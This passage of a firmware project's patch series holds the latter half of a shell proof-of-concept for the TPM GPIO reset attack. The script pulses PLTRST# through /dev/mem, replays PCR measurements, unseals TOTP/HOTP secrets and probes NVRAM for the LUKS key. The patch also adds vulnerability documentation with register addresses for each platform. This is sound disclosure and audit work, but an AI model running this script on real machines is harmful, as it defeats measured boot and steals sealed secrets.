startup + if [ -r /sys/class/tpm/tpm0/pcrs ]; then + STATUS_OK "PLTRST# assertion CONFIRMED -- bus reset detected by kernel TPM driver." + _pcr0_line=$(grep '^PCR-00' /sys/class/tpm/tpm0/pcrs 2>/dev/null | tail -1) + DEBUG " sysfs PCR-00: $_pcr0_line" + _pcr0_val=$(echo "$_pcr0_line" | awk -F': ' '{print $2}' | tr -d ' ') + DEBUG " PCR 0: $_pcr0_val" + if [ -n "$_pcr0_val" ]; then + STATUS_OK "TPM is responsive (PCR 0 readable via sysfs)" + else + WARN "Cannot read PCR 0 via sysfs -- TPM not responsive." + fi + else + DEBUG " /sys/class/tpm/tpm0/pcrs NOT FOUND" + STATUS " PLTRST# assertion NOT confirmed -- no bus reset detected." + INFO " PCR clearing is from software TPM2_Startup(CLEAR) only, not" + INFO " from PLTRST#. Platform may not be susceptible to this attack vector." + GPIO_FAILED="y" + fi + + # Restore original pad config (cleanup, safe after TPM startup) + if [ "$_cur_mode" = "0" ]; then + DEBUG " restoring original GPIO config (cleanup after TPM startup)" + mem_write32 "$TARGET_ADDR" "$_dw0_val" + mem_write32 "$((TARGET_ADDR + 4))" "$_dw1_val" + fi + + if [ "$GPIO_FAILED" = "y" ]; then + INFO " TPM GPIO reset via $MECHANISM: procedure complete -- PLTRST# NOT confirmed" + else + INFO " TPM GPIO reset via $MECHANISM: COMPLETE" + fi +} + +perform_tpm_gpio_reset() { + TRACE_FUNC + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + section "4. TPM GPIO ASSERTION (assert PLTRST# via PCH pad)" + DEBUG "Platform unknown, cannot assert PLTRST#" + INFO "Platform unknown; cannot assert PLTRST#." + return + fi + + if [ "$EXECUTE_MODE" != "y" ]; then + return + fi + + section "4. TPM GPIO ASSERTION (assert PLTRST# via PCH pad)" + + if [ ! -w /dev/mem ]; then + DEBUG "/dev/mem not writable" + DIE "/dev/mem is not writable. Cannot assert PLTRST#." + fi + + DEBUG "PLTRST# assertion mechanism: $MECHANISM" + DEBUG "Target address: $TARGET_ADDR_HEX" + + # Lock register check (PADCFGLOCK + PADCFGLOCKTX) + check_lock_registers + + # Shutdown TPM and save configuration + pre_assertion_setup + + # Assert PLTRST# via GPIO toggle + assert_pltrst + + # Post-assertion: TPM startup, session recreation, bus reset check + post_assertion_cleanup + + # --- DW1 manipulation test (experimental diagnostics) --- + # Tests DW1 write behavior. Gated behind DEBUG_MODE. + if [ "$DEBUG_MODE" = "y" ]; then + DEBUG "DW1 manipulation test:" + for _dw1_test_val in 0x00000000 0xFFFFFFFF; do + mem_write32 "$((TARGET_ADDR + 4))" "$_dw1_test_val" + _dw1_rb=$(mem_read32 "$((TARGET_ADDR + 4))") + _dw1_rb_dec=$(( 16#$_dw1_rb )) + _match=$(( _dw1_test_val == _dw1_rb_dec ? 1 : 0 )) + DEBUG " DW1 write 0x$(printf '%08x' $_dw1_test_val) -> readback 0x$_dw1_rb (match=$_match)" + done + mem_write32 "$((TARGET_ADDR + 4))" "0x$(printf '%08x' $_dw1_val)" + DEBUG " DW1 restored to 0x$(printf '%08x' $_dw1_val)" + fi + + # --- DW1 effect test (experimental diagnostics) --- + if [ "$DEBUG_MODE" = "y" ]; then + DEBUG " DW1 effect test: writing 0x00000000 to DW1 (DW0 unchanged)..." + mem_write32 "$((TARGET_ADDR + 4))" "0x00000000" + sleep 1 + _orig_dw1_hex=$(printf '0x%08x' $_dw1_val) + mem_write32 "$((TARGET_ADDR + 4))" "$_orig_dw1_hex" + DEBUG " DW1 restored to $_orig_dw1_hex" + fi +} + +# ---- Read all PCRs (single-PCR reads to avoid hang) ------------------- +# +# After GPIO assertion, tpm2 pcrread sha256 (all PCRs) hangs. +# Single-PCR reads work. This helper reads PCRs 0-7 and writes them +# to the specified output file (or stdout if no file specified). +# Usage: read_all_pcrs [output_file] + +read_all_pcrs() { + TRACE_FUNC + _outfile="${1:-/dev/stdout}" + _pcr_data="" + for _pcr_idx in 0 1 2 3 4 5 6 7; do + _pcr_line=$(tpm2 pcrread "sha256:$_pcr_idx" 2>/dev/null | \ + grep -E '^\s*[0-9]+\s*:' | tail -1) + _pcr_data="$PCR_DATA +$_pcr_line" + done + _pcr_data="${_pcr_data# +}" + if [ "$_outfile" = "/dev/stdout" ]; then + echo "$_pcr_data" + else + echo "$_pcr_data" > "$_outfile" + DEBUG "PCR data written to $_outfile" + fi + echo "$_pcr_data" +} + +# ---- Verify reset by reading PCRs ------------------------------------- + +verify_pcrs() { + TRACE_FUNC + + if [ "$EXECUTE_MODE" != "y" ]; then + return + fi + + section "5. PCR VERIFICATION" + + # Use single-PCR reads via tpm2 pcrread sha256:N. + # tpm2 pcrread sha256 (all PCRs) hangs after GPIO assertion; + # single-PCR reads work. pcrs() calls the all-PCR path. + INFO " Reading post-assertion PCR state (single-PCR reads)..." + POST_RESET_PCRS="" + for _pcr_idx in 0 1 2 3 4 5 6 7; do + _pcr_line=$(tpm2 pcrread "sha256:$_pcr_idx" 2>/dev/null | \ + grep -E '^\s*[0-9]+\s*:' | tail -1) + POST_RESET_PCRS="$POST_RESET_PCRS +$_pcr_line" + done + POST_RESET_PCRS="${POST_RESET_PCRS# +}" + if [ -z "$POST_RESET_PCRS" ]; then + WARN " Could not read PCR values" + return + fi + STATUS_OK "Post-assertion PCR state captured" + + # Check if PCR 2 changed (should be zero after PLTRST# pulse) + _pcr2_val=$(echo "$POST_RESET_PCRS" | grep -E '^\s*2\s*:' | awk '{print $3}') + DEBUG " PCR 2 value: $_pcr2_val" + if [ -z "$_pcr2_val" ] || [ "$_pcr2_val" = "0x0000000000000000000000000000000000000000000000000000000000000000" ]; then + STATUS_OK "PCR 2 is zero -- TPM was cleared" + else + WARN " PCR 2 is non-zero -- PLTRST# assertion may not have cleared TPM" + DEBUG " PCR 2 value: $_pcr2_val" + fi + + # Show PCR state in debug log + DEBUG "Post-assertion PCR state:" + DEBUG "$POST_RESET_PCRS" +} + +# ---- Replay PCR measurements via tpmr.sh infrastructure ---------------- +# +# PCR 2: cbmem -L parsed via tpmr.sh AWK_PROG (handles all 3 log formats). +# PCR 4,5,7: /tmp/measuring_trace.log parsed generically for all PCR extends. +# +# Uses tpm2 pcrextend directly because tpmr.sh extend (-ic/-if) always +# re-hashes its input before extending. We need to replay pre-computed +# hashes from the measurement log verbatim; re-hashing would produce +# different digests that don't match the sealing policy. + +# Helper: detect hash algorithm from hash length +_hash_algo() { + TRACE_FUNC + _hash_len="${#1}" + DEBUG "_hash_algo: input len=$_hash_len" + case "$_hash_len" in + 40) echo "sha1" ;; + 64) echo "sha256" ;; + *) WARN "Unknown hash length: $_hash_len"; return 1 ;; + esac +} + +replay_measurements() { + TRACE_FUNC + + if [ "$EXECUTE_MODE" != "y" ]; then + return + fi + + section "6. MEASUREMENT REPLAY" + + # Source tpmr.sh for AWK_PROG (parses all 3 cbmem -L formats) + if [ -z "$AWK_PROG" ]; then + # shellcheck source=/dev/null + . /bin/tpmr.sh 2>/dev/null + fi + + # --- PCR 2: coreboot SRTM from cbmem -L --- + INFO " Replaying PCR 2 (coreboot SRTM) from cbmem -L..." + _log=$(cbmem -L 2>/dev/null) + if [ -z "$_log" ]; then + WARN " cbmem -L returned no output" + else + # Detect algorithm from TPM version (SHA-256 for TPM 2.0, SHA-1 for TPM 1.2) + _tpm_alg="sha256" + command -v tpm2 >/dev/null 2>&1 || _tpm_alg="sha1" + _pcr2_hashes=$(echo "$_log" | awk -v alg="$_tpm_alg" -v pcr="2" -f <(echo "$AWK_PROG") 2>/dev/null) + if [ -n "$_pcr2_hashes" ]; then + _count=0 + while read -r _hash; do + [ -z "$_hash" ] && continue + _algo=$(_hash_algo "$_hash") || continue + tpm2 pcrextend "2:$_algo=$_hash" 2>/dev/null + _count=$(( _count + 1 )) + done <<< "$_pcr2_hashes" + STATUS_OK "PCR 2: replayed $_count extends from cbmem -L" + else + WARN " No PCR 2 hashes extracted from cbmem -L" + fi + fi + + # --- PCR 4,5,7: Heads extends from measuring_trace.log --- + INFO " Replaying Heads extends from /tmp/measuring_trace.log..." + if [ -r /tmp/measuring_trace.log ]; then + # Parse all "Extended PCR[N] with hash " lines + # Format: INFO: TPM: Extended PCR[7] with hash 96ab5053e4630a040d55549ba73cff2178d401d763147776771f9774597b86a1 + _lines=$(grep "Extended PCR\[" /tmp/measuring_trace.log 2>/dev/null) + if [ -n "$_lines" ]; then + _total=0 + while read -r _line; do + _pcr=$(echo "$_line" | grep -o 'PCR\[[0-9]*\]' | grep -o '[0-9]*') + _hash=$(echo "$_line" | grep -o 'hash [0-9a-f]*' | cut -d' ' -f2) + if [ -n "$_pcr" ] && [ -n "$_hash" ]; then + _algo=$(_hash_algo "$_hash") || continue + tpm2 pcrextend "${_pcr}:$_algo=$_hash" 2>/dev/null + _total=$(( _total + 1 )) + DEBUG "PCR $_pcr extend: $_hash ($_algo)" + fi + done <<< "$_lines" + STATUS_OK "Heads extends: replayed $_total operations from measuring_trace.log" + else + WARN " No Heads extends found in measuring_trace.log" + fi + else + WARN " /tmp/measuring_trace.log not available" + fi + + # Show final PCR state (single-PCR reads, all-PCR pcrs hangs after GPIO) + INFO " Final PCR state after replay:" + for _pcr_idx in 0 1 2 3 4 5 6 7; do + tpm2 pcrread "sha256:$_pcr_idx" 2>/dev/null | \ + grep -E '^\s*[0-9]+\s*:' | tail -1 + done + +} + +# ---- Attempt secret extraction ---------------------------------------- + +attempt_secret_extraction() { + TRACE_FUNC + + if [ "$EXECUTE_MODE" != "y" ]; then + DEBUG "audit mode: skipping secret extraction" + return + fi + + section "7. SECRET EXTRACTION ATTEMPT" + + # --- 7a. TOTP unseal --- + INFO " 7a. Attempting TOTP secret unseal..." + DEBUG "Attempting unseal at NVRAM index 0x4d47 (TOTP/HOTP)" + _totp_secret="/tmp/secret/totp.key.tmp" + rm -f "$_totp_secret" 2>/dev/null + + if command -v tpmr.sh >/dev/null 2>&1; then + DEBUG "Running: tpmr.sh unseal 4d47 0,1,2,3,4,7 312 $_totp_secret" + if tpmr.sh unseal 4d47 0,1,2,3,4,7 312 "$_totp_secret" 2>/dev/null; then + STATUS_OK "TOTP secret unsealed successfully!" + INFO " Secret saved to $_totp_secret" + if [ -s "$_totp_secret" ]; then + INFO " Secret hex: $(xxd -p < "$_totp_secret" | tr -d '\n')" + fi + else + INFO "TOTP unseal failed. Expected if PCRs don't match the" + INFO "sealing policy, or if no TOTP secret was ever sealed." + fi + else + WARN "tpmr.sh not available; cannot unseal." + fi + DEBUG "" + + # --- 7b. HOTP unseal --- + INFO " 7b. Attempting HOTP secret unseal..." + _hotp_secret="/tmp/secret/hotp.key.tmp" + rm -f "$_hotp_secret" 2>/dev/null + DEBUG "Attempting unseal at NVRAM index 0x4d47 for HOTP" + + if command -v tpmr.sh >/dev/null 2>&1; then + if tpmr.sh unseal 4d47 0,1,2,3,4,7 312 "$_hotp_secret" 2>/dev/null; then + STATUS_OK "HOTP secret unsealed successfully!" + INFO " Secret saved to $_hotp_secret" + else + INFO "HOTP unseal failed (same secret as TOTP, expected)." + fi + fi + DEBUG "" + + # --- 7c. LUKS DUK --- + INFO " 7c. Attempting LUKS DUK unseal..." + # The LUKS DUK index varies. Try common ones. + for _idx in 0x81000001 0x81000002; do + DEBUG "Probing NVRAM index $_idx for DUK" + if command -v tpm2 >/dev/null 2>&1; then + if tpm2 nvread "$_idx" 2>/dev/null; then + DEBUG "DUK read succeeded from $_idx" + STATUS_OK "LUKS DUK read succeeded from $_idx!" + INFO " NVRAM index $_idx is readable without auth after reset." + fi + fi + done + DEBUG "" + + # Summary + DEBUG "" + if [ -s "$_totp_secret" ]; then + DEBUG "TOTP secret extracted successfully" + DEBUG "" + INFO "======================================================================" + INFO " ATTACK DEMONSTRATED: TPM secrets were extracted after PLTRST# assertion!" + INFO "======================================================================" + DEBUG "" + INFO " By asserting PLTRST# via GPIO ($MECHANISM on $GLOBAL_PCH) and replaying the" + INFO " measurement log, the following secrets were recovered:" + INFO " - TOTP/HOTP secret: YES" + DEBUG "" + INFO " This proves the PLTRST# GPIO assertion bypasses the TPM's measured" + INFO " boot attestation on this platform." + else + DEBUG "No secrets extracted" + INFO "No secrets were extracted. This is expected if no secrets" + INFO "were sealed, or if the replay did not match the sealing policy." + fi +} + +# ---- Main ------------------------------------------------------------- + +usage() { + cat >&2 </dev/null) + DEBUG "Pre-assertion PCR snapshot captured" + fi + perform_tpm_gpio_reset + if [ "$GPIO_FAILED" = "y" ]; then + DEBUG "GPIO assertion failed; skipping PCR verify, replay, and secret extraction" + else + verify_pcrs + replay_measurements + attempt_secret_extraction + fi + + # Summary + section "SUMMARY" + + if [ "$PLATFORM_UNKNOWN" = "y" ]; then + DEBUG "Summary: PLATFORM_UNKNOWN=y, exiting with 0" + INFO " Platform not recognized or not in the vulnerability database." + DEBUG "" + INFO " Known affected platforms (by PCI device ID):" + INFO " - CNP-LP (0x9d84): GPIO PAD_CFG (PLTRST_CPU_B, port 0x6b)" + INFO " - SPT/KBP (0xa14*/0xa2c*): GPIO PAD_CFG (GPP_B13, port 0xaf)" + INFO " - CML-DT (0x0684-0x068f): GPIO PAD_CFG (GPP_B13, port 0xaf)" + INFO " - CML_U (0x0660-0x0661): GPIO PAD_CFG (GPP_B13, port 0x6e)" + INFO " - CFL_S (0xa303-0xa30e): GPIO PAD_CFG (GPP_B13, port 0x6e)" + INFO " - TGL (0xa08*/0xa0a*): GPIO PAD_CFG (GPP_B13, port 0x6e)" + INFO " - ADL-P (0x518*): GPIO PAD_CFG (GPP_B13, port 0x6e)" + INFO " - RPL-P (0x519*): GPIO PAD_CFG (GPP_B13, port 0x6d)" + INFO " - ADL-S (0x7a8*): GPIO PAD_CFG (GPP_B13, port 0x6d)" + INFO " - RPL-S (0x7a0*): GPIO PAD_CFG (GPP_B13, port 0x6d)" + INFO " - ARL-S (0x7e2*): GPIO PAD_CFG (GPP_B13, port 0x6d)" + DEBUG "" + INFO " Known NOT affected:" + INFO " - Pre-Skylake: dedicated PLTRST pin" + INFO " - Meteor Lake (0x7e00-0x7e07): GPIO lock infrastructure compiled, per-pad enforcement unconfigured" + DEBUG "" + exit 0 + fi + + if [ "$EXECUTE_MODE" = "y" ]; then + DEBUG "Summary: attack executed, exiting with 3" + DEBUG "" + INFO " Platform class: $GLOBAL_PCH" + if [ "$MECHANISM" = "GPIO_PAD_CFG" ]; then + INFO " Attack method: GPIO PAD_CFG (PLTRST_CPU_B pad $PLTRST_PAD)" + else + INFO " Attack method: GPIO PAD_CFG via PCR MMIO" + fi + DEBUG "" + DEBUG "PCR comparison: PRE_RESET_PCRS (non-zero, coreboot measurements) vs POST_RESET_PCRS (should be zero after assertion, restored after replay)" + [ -n "$PRE_RESET_PCRS" ] && DEBUG "Pre-assertion PCR 2 was non-zero (contains coreboot SRTM measurements)" + if [ "$GPIO_FAILED" = "y" ]; then + INFO " PLTRST# GPIO assertion was ATTEMPTED but NOT confirmed." + INFO " No bus reset detected by kernel TPM driver (/sys/class/tpm/tpm0/pcrs absent)." + INFO " PCR clearing is from software TPM2_Startup(CLEAR) only." + INFO " Platform may not be susceptible to this attack via GPIO PLTRST# assertion." + else + INFO " PLTRST# GPIO assertion attack was EXECUTED on this platform." + INFO " PLTRST# assertion complete. PCRs are cleared." + INFO " NVRAM sealed blobs preserved (accessible once PCRs are re-extended)." + fi + DEBUG "" + exit 3 + else + DEBUG "Summary: vulnerable platform in audit mode, exiting with 2" + # Tier-based vulnerability summary: tier-1 (SPT_KBP) confirms + # vulnerability; tier-3 (ADL_P, RPL_P, ADL_S, RPL_S) reports + # uncertainty from NV4x hardware test results. + case "$GLOBAL_PCH" in + ADL_P|RPL_P|ADL_S|RPL_S) + INFO " Platform $GLOBAL_PCH (device $GLOBAL_DEV_ID) -- VULNERABILITY UNCERTAIN." + INFO " PLTRST# pad is accessible via GPIO community at port $(printf "0x%x" $COMMUNITY_PORT)" + INFO " and is not locked by firmware (PADCFGLOCK not set)." + INFO " However, hardware test on NV4x ADL-P shows mode bits [13:10]" + INFO " and TX[0] are write-ignored at PCH die level despite PADCFGLOCK=0." + INFO " PLTRST# assertion NOT confirmed on this PCH die." + INFO " Bus pin lock status: $BUS_LOCKED_COUNT/$BUS_TOTAL_COUNT pins locked" + DEBUG "" + INFO " Action: physical scope verification needed." ;; + *) + INFO " Platform $GLOBAL_PCH (device $GLOBAL_DEV_ID) is VULNERABLE." + INFO " PLTRST# pad is accessible via GPIO community at port $(printf "0x%x" $COMMUNITY_PORT)" + INFO " and is not locked by firmware (PADCFGLOCK not set)." + INFO " Bus pin lock status: $BUS_LOCKED_COUNT/$BUS_TOTAL_COUNT pins locked" + INFO " An OS with /dev/mem access can reset the TPM without" + INFO " platform reset, clearing all PCRs." + DEBUG "" + INFO " Action: ensure coreboot locks this pad via gpio_lock_pad()" + INFO " or PAD_CFG_NF_LOCK(). Without a lock, the TPM measured" + INFO " boot chain is bypassable from the OS." + DEBUG "" + INFO " Run with --execute to demonstrate the actual attack." ;; + esac + DEBUG "" + exit 2 + fi +} + +main "$@" From a5f3be993c120f75788e86c8228426dd02346579 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 23 Jul 2026 20:36:18 -0400 Subject: [PATCH 2/5] doc: add TPM GPIO reset vulnerability analysis and 8-approach research MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit TPM_GPIO_Reset_Vulnerability.md — per-platform feasibility table. Pre-Skylake: not vulnerable (dedicated PLTRST# pin, architecture documentation — no hardware verification). SPT/KBP (T480, M900): vulnerable per kukri. CNP-LP (T480s): unconfirmed. ADL-P 0x5182 (NV4x, NS50): inconclusive — writes verify via /dev/mem readback, PCRs non-zero after toggle, kernel TPM driver detects no bus reset. ADL-S/RPL-S (MSI Z690/Z790): vulnerable per kukri. MTL (V540TU/ V560TU): not vulnerable (eSPI TPM, SLB 9672). PCR0 analysis per TCG PC Client TIS spec: no protection against TPM GPIO reset. TPM_GPIO_Reset_Approaches.md — 8 approaches on NV4x ADL-P. Platform register maps for SPT/KBP, CNP-LP, CFL-S, CML-U, CML-DT, TGL, ADL-P, ADL-S, RPL-S, ARL-S, MTL. Star Labs PchUnlockGpioPads fix and coreboot patch series status. Intel doc 834810 (public) cross-referenced for PADCFGLOCK/PADCFGLOCKTX documentation. doc/BOARDS_AND_TESTERS.md — per-generation EOL/ESU dates, TPM GPIO reset status, QSB-107 EOL_ prefix convention, M900 Tower owner. Signed-off-by: Thierry Laurion --- doc/BOARDS_AND_TESTERS.md | 62 +- doc/TPM_GPIO_Reset_Approaches.md | 990 ++++++++++++++++++++++++++++ doc/TPM_GPIO_Reset_Vulnerability.md | 261 ++++++++ 3 files changed, 1311 insertions(+), 2 deletions(-) create mode 100644 doc/TPM_GPIO_Reset_Approaches.md create mode 100644 doc/TPM_GPIO_Reset_Vulnerability.md diff --git a/doc/BOARDS_AND_TESTERS.md b/doc/BOARDS_AND_TESTERS.md index 56a25a6ce..7467562fe 100644 --- a/doc/BOARDS_AND_TESTERS.md +++ b/doc/BOARDS_AND_TESTERS.md @@ -6,9 +6,27 @@ General information - **AMD CPU Generations:** [List of AMD processors](https://en.wikipedia.org/wiki/AMD_processors) - **Transient CPU Vulnerabilities:** [Transient execution CPU vulnerability](https://en.wikipedia.org/wiki/Transient_execution_CPU_vulnerability) -**Note (as of 2025-05-29):** -- Intel CPUs from the 1st to 7th generations (Nehalem through Kaby Lake) have reached End-of-Life (EOL) status and no longer receive microcode updates. Consequently, these processors remain vulnerable to Spectre Variant 2 (CVE-2017-5715) and related speculative execution vulnerabilities. +**Note (as of 2026-07-22):** +- Intel CPUs from the 1st to 7th generations (Nehalem through Kaby Lake) have reached End-of-Life (EOL) status and no longer receive microcode updates. Consequently, these processors remain vulnerable to Spectre Variant 2 (CVE-2017-5715) and related speculative execution vulnerabilities. - Some 8th generations (Kaby Lake Refresh) also reached EOL per Intel ESU. + +**Per-generation EOL/ESU dates** (sources: [eosl.date](https://eosl.date/eol/product/intel-processors/), [Intel microcode releases](https://github.com/intel/Intel-Linux-Processor-Microcode-Data-Files/releases)): + +| Generation | Code Name | EOL/ESU Date | Microcode Status | +|---|---|---|---| +| 2nd Gen | Sandy Bridge | ~2017-2018 (estimated) | No updates since ~2018 | +| 3rd Gen | Ivy Bridge | Dec 31, 2019 | No updates since ~2019 | +| 4th Gen | Haswell | Jun 30, 2021 | No updates since ~2021 | +| 5th Gen | Broadwell | Jun 30, 2021 | No updates since ~2021 | +| 6th Gen | Skylake | Sep 30, 2022 | No updates since ~2022 | +| 7th Gen | Kaby Lake | Mar 31, 2024 | No updates since ~2024 | +| 8th Gen | Kaby Lake-R / Coffee Lake / Whiskey Lake | Jun 30, 2025 | Not in Feb 2026 release | +| 10th Gen | Comet Lake | Active (as of Feb 2026) | Last in Feb 2026; dropped from May 2026 | +| 11th Gen | Tiger Lake | Active | Last in Feb 2026; dropped from May 2026 | +| 12th Gen | Alder Lake | Active | Last in Feb 2026; dropped from May 2026 | + +Intel does **not** offer an Extended Security Updates (ESU) program. "ESU" in Intel documentation refers to "End of Servicing Updates" — the date after which no further microcode releases are made. Once a generation reaches ESU, any newly discovered CPU vulnerabilities will remain unpatched indefinitely. + - **Those boards names were renamed with EOL_ preceding their board names for users to be hinted by this at download/compilation/testing time** While software-based mitigations like Retpoline can reduce exposure to certain speculative execution attacks, their effectiveness is limited without corresponding microcode updates. Therefore, systems utilizing these older CPUs should be considered inherently vulnerable to Spectre Variant 2 and similar threats. @@ -35,6 +53,46 @@ Please see boards/BOARD_NAME/BOARD_NAME.config for HCL details. As per tracking issue for board testers: https://github.com/linuxboot/heads/issues/692, currently built CircleCI boards ROMs are: +## TPM GPIO Reset Vulnerability (upstream coreboot bug) + +Heads relies on coreboot for GPIO pad configuration. Many Intel platforms are +affected by a coreboot bug where the PCH GPIO lock bits are not set before +booting the OS, allowing an attacker with code execution to reset the discrete +TPM without a physical reboot and forge PCR measurements. +See [TPM GPIO fail (mkukri.xyz)](https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html) +and [doc/TPM_GPIO_Reset_Vulnerability.md](TPM_GPIO_Reset_Vulnerability.md) for details. + +Impact on Heads: TPM Disk Unlock Key with passphrase is **not affected**. +TPMTOTP/HOTP remote attestation **is affected** (PCRs can be forged). +The fix must come from coreboot. Tracked at [coreboot ticket #576](https://ticket.coreboot.org/issues/576) +and [coreboot patch series](https://review.coreboot.org/q/topic:%22intel_gpio_lock%22). + +| Board group | SoC generation | Coreboot GPIO lock | +|---|---|---| +| xx20 (Sandy Bridge, 2nd Gen) | Dedicated PLTRST pin | Not vulnerable | +| xx30 (Ivy Bridge, 3rd Gen) | Dedicated PLTRST pin | Not vulnerable | +| xx4x / w541 (Haswell, 4th Gen) | Dedicated PLTRST pin | Not vulnerable | +| xx8x / t480 / t480s (Kaby Lake, 8th Gen) | Skylake SoC code (25.09) | Not functional: no pad lock offsets, no Kconfig lock method selected | +| Librem 13v2/15v3 (Skylake, 6th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem 13v4/15v4 (Kaby Lake, 7th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem 14 (Comet Lake, 10th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem 11 (Jasper Lake, Atom) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem L1UM v1 (Broadwell, 5th Gen) | Dedicated PLTRST pin | Not vulnerable | +| Librem L1UM v2 (Coffee Lake, 9th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem mini v1 (Whiskey Lake, 8th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Librem mini v2 (Comet Lake, 10th Gen) | Purism fork | Not functional: no lock Kconfig selected (Purism fork) | +| Optiplex 7010/9010 (Ivy Bridge, 3rd Gen) | Dedicated PLTRST pin | Not vulnerable | +| HP Z220 CMT (Ivy Bridge, 3rd Gen) | Dedicated PLTRST pin | Not vulnerable | +| Clevo NS50 / NV4x (Alder Lake, 12th Gen) | Dasharo fork | Inconclusive -- GPIO lock not set, writes verified, but PLTRST# assertion NOT confirmed on this PCH die (PCRs remain non-zero after toggle). Physical scope verification needed. | +| Clevo v540tu/v560tu (Meteor Lake) | Dasharo fork | Not functional: PCR lock Kconfig selected but no board pad locks configured; FSP force-unlocks all pads (PchUnlockGpioPads=1) -- Not vulnerable: GPIO PLTRST# assertion does not apply to LPC/eSPI-connected TPMs on MTL. | +| MSI Z690-A/Z790-P (Alder/Raptor Lake) | Dasharo fork | Not functional: SMM lock disabled, no board pad locks (Dasharo fork) | +| KGPE-D16 (AMD) | Not Intel | Not affected | +| Talos II (Power9) | Not Intel | Not affected | + +Note: Dasharo and Purism coreboot fork statuses reflect confirmed findings from +vendor build tree inspection. See doc/TPM_GPIO_Reset_Vulnerability.md for per-fork +details. + Laptops == diff --git a/doc/TPM_GPIO_Reset_Approaches.md b/doc/TPM_GPIO_Reset_Approaches.md new file mode 100644 index 000000000..2a7be24b3 --- /dev/null +++ b/doc/TPM_GPIO_Reset_Approaches.md @@ -0,0 +1,990 @@ +# TPM GPIO Reset Attack -- Approaches Exhausted on Intel ADL-P (NovaCustom NV4x) + +This document chronicles every approach tried during development of the TPM GPIO +reset Proof-of-Concept for Intel ADL-P (Alder Lake mobile, NovaCustom NV4x) +and the broader family of affected platforms. + +## Background + +The TPM GPIO reset attack, disclosed by Mate Kukri in June 2024, exploits a +design flaw in Intel PCH platforms where the PLTRST# (Power Loss Timer Reset) +signal driving the discrete TPM is connected through a multi-function GPIO pad. +On vulnerable platforms, this pad can be reprogrammed from native function +(LPC/eSPI/SPI output) to GPIO output mode, allowing an attacker to assert a +hardware reset of the TPM, clear its PCRs, and then forge measurement values +to unseal sealed secrets. + +The attack relies on three conditions: +1. The PLTRST# pad is part of a GPIO community, not a dedicated pin. +2. The GPIO pad configuration lock is NOT set by firmware. +3. The PLTRST# assertion mechanism actually works when the pad is toggled. + +Condition 3 proved unexpectedly difficult on ADL-P. This document explains why. + +--- + +## 1. What We Verified (from coreboot source code) + +### 1.1 Register Addresses Verified Against coreboot 26.06 + +All register addresses were cross-checked against coreboot 26.06 source code +(`src/soc/intel/` headers and Kconfig files) and the kukrimate/tpm-gpio-fail +reference implementation (`reset/inteltool.c`). Bit field definitions (PADRSTCFG, +mode mask) were verified against the Linux kernel pinctrl-intel.c +(`PADCFG0_RESET_MASK = GENMASK(31,30)`, `PADCFG0_PMODE_MASK = GENMASK(13,10)`, +all GPL-2.0, `drivers/pinctrl/intel/`). + +| Platform | PCI Device IDs | PCR Port | PAD_CFG Base | Lock Offset | Coreboot Source | +|---|---|---|---|---|---| +| **CNP-LP** (KBL-R/WHL/CML) | 0x9d84-0x9d8f | 0x6e (PID_GPIOCOM0) | 0x600 | none | `src/soc/intel/cannonlake/gpio.c` | +| **CML-U** (Comet Lake U 400 Series) | 0x0660-0x0661 | 0x6E | 0x600 | 0x88 | `src/soc/intel/cannonlake/` | +| **SPT/KBP** (SKL/KBL) | 0xa143-0xa154, 0xa2c4-0xa2d2 | 0xaf (PID_GPIOCOM0) | 0x400 | 0x80 | `src/soc/intel/skylake/include/soc/gpio_defs.h` | +| **TGL** (Tiger Lake) | 0xa082-0xa08f, 0xa0a0-0xa0a7 | 0x6e | 0x700 | 0x80 | `src/soc/intel/tigerlake/` | +| **ADL-P** (mobile 12th gen) | 0x5180-0x519f | 0x6e (PID_GPIOCOM0) | 0x700 | 0x80 | `src/soc/intel/alderlake/include/soc/gpio_defs.h` | +| **ADL-S** (desktop 12th gen) | 0x7a80-0x7a8c | 0x6d (PID_GPIOCOM1) | 0x700 | 0x110 | `src/soc/intel/alderlake/include/soc/gpio_defs_pch_s.h` | +| **RPL-S** (desktop 13th/14th gen) | 0x7a0c-0x7a17 | 0x6d (PID_GPIOCOM1) | 0x700 | 0x110 | `src/soc/intel/alderlake/include/soc/gpio_defs_pch_s.h` | +| **MTL** (Meteor Lake) | (from CPUID) | 0xD5 | varies | varies | `src/soc/intel/meteorlake/include/soc/gpio_defs.h` | + +Note: MTL uses a different GPIO community layout. Per Intel doc 834810, MTL port is 0xD5 (not 0x6E like ADL). + +Note: Intel doc 834810 does not cover pre-Tiger Lake platforms. SPT/KBP (Skylake/Kaby Lake) PADCFGLOCK offsets (0xA8 per kukri) have no public Intel verification. + +Note: CML-U (0x066x) and some CML-U steppings in the 0x9d8* range have PADCFGLOCK at 0x88. Not all 0x9d8* devices have lock registers -- verify per-stepping. CNP-LP proper (0x9d84) is confirmed to lack the register. + +Key verification details: + +- **ADL-P (NV4x)**: GPP_B13 = local pad index 13 in GPIO community 0 (PID = 0x6e). + PAD_CFG_BASE = 0x700. Each pad occupies 4 DWORDS (16 bytes). + DW0 address = PCR_BASE + (0x6e << 16) + 0x700 + (13 * 16). + With PCR_BASE = 0xFD000000 (ADL-P mobile): target = 0xFD6E07D0. + +- **ADL-S/RPL-S**: GPP_B13 = local pad index 13 in GPIO community 1 (PID = 0x6d). + Same PAD_CFG_BASE = 0x700, same pad layout. PCR_BASE = 0xE0000000 (desktop). + Target = 0xE06D07D0. + +- **SPT/KBP**: GPP_B13 = global pad 37 (GPP_A0=0..23, GPP_B0=24, GPP_B13=37). + Port 0xaf (PID_GPIOCOM0). PAD_CFG_BASE = 0x400. Each pad = 2 DWORDS + (8 bytes per `skylake/gpio_defs.h` line 12: `GPIO_NUM_PAD_CFG_REGS 2`). + Target = community base + PAD_CFG_BASE + (37 * 8) = 0xFDAF0000 + 0x400 + 0x128 + = 0xFDAF0528 (with PCR_BASE = 0xFD000000, port shift 0xAF). + +- **CNP-LP**: 